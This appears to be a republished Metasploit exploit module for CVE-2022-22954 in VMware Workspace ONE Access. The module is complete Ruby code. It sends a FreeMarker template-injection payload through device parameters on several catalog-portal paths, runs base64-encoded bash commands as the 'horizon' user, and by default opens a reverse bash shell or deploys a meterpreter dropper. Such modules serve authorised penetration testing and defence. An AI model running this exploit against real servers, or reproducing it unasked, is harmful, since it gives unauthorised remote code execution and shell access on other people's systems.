VMware Workspace ONE Access Template Injection / Command Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'VMware Workspace ONE Access CVE-2022-22954',  
'Description' => %q{  
This module exploits CVE-2022-22954, an unauthenticated server-side  
template injection (SSTI) in VMware Workspace ONE Access, to execute  
shell commands as the "horizon" user.  
},  
'Author' => [  
'mr_me', # Discovery  
'Udhaya Prakash', # (@sherlocksecure of Poshmark Inc.) PoC  
'wvu' # Exploit and independent analysis  
],  
'References' => [  
['CVE', '2022-22954'],  
['URL', 'https://www.vmware.com/security/advisories/VMSA-2022-0011.html'],  
['URL', 'https://srcincite.io/advisories/src-2022-0005/'],  
['URL', 'https://github.com/sherlocksecurity/VMware-CVE-2022-22954'],  
['URL', 'https://attackerkb.com/topics/BDXyTqY1ld/cve-2022-22954/rapid7-analysis']  
# More context: https://twitter.com/wvuuuuuuuuuuuuu/status/1519476924757778433  
],  
'DisclosureDate' => '2022-04-06',  
'License' => MSF_LICENSE,  
'Platform' => ['unix', 'linux'],  
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],  
'Privileged' => false,  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_bash'  
}  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :dropper,  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'  
}  
}  
]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'RPORT' => 443,  
'SSL' => true  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
)  
)  
  
register_options([  
OptString.new('TARGETURI', [true, 'Base path', '/'])  
])  
end  
  
def check  
ret = execute_command("echo #{token = rand_text_alphanumeric(8..16)}")  
  
return CheckCode::Unknown unless ret  
return CheckCode::Safe unless ret.match?(/device (?:id|type): #{token}/)  
  
CheckCode::Vulnerable  
end  
  
def exploit  
print_status("Executing #{payload_instance.refname} (#{target.name})")  
  
case target['Type']  
when :cmd  
execute_command(payload.encoded)  
when :dropper  
execute_cmdstager  
end  
end  
  
def execute_command(cmd, _opts = {})  
bash_cmd = "bash -c {eval,$({echo,#{Rex::Text.encode_base64(cmd)}}|{base64,-d})}"  
  
vprint_status("Executing command: #{bash_cmd}")  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, ssti_uri),  
'vhost' => rand_text_alphanumeric(8..16),  
'vars_get' => {  
%w[code error].sample => rand_text_alphanumeric(8..16),  
# https://freemarker.apache.org/docs/api/freemarker/template/utility/Execute.html  
ssti_param => %(${"freemarker.template.utility.Execute"?new()("#{bash_cmd}")})  
}  
}, 3.5)  
  
return unless res  
return '' unless res.code == 400 && res.body.include?('auth.context.invalid')  
  
res.body  
end  
  
def ssti_uri  
%w[  
/catalog-portal/hub-ui  
/catalog-portal/hub-ui/byob  
/catalog-portal/ui  
/catalog-portal/ui/oauth/verify  
].sample  
end  
  
def ssti_param  
%w[deviceType deviceUdid].sample  
end  
  
end  
`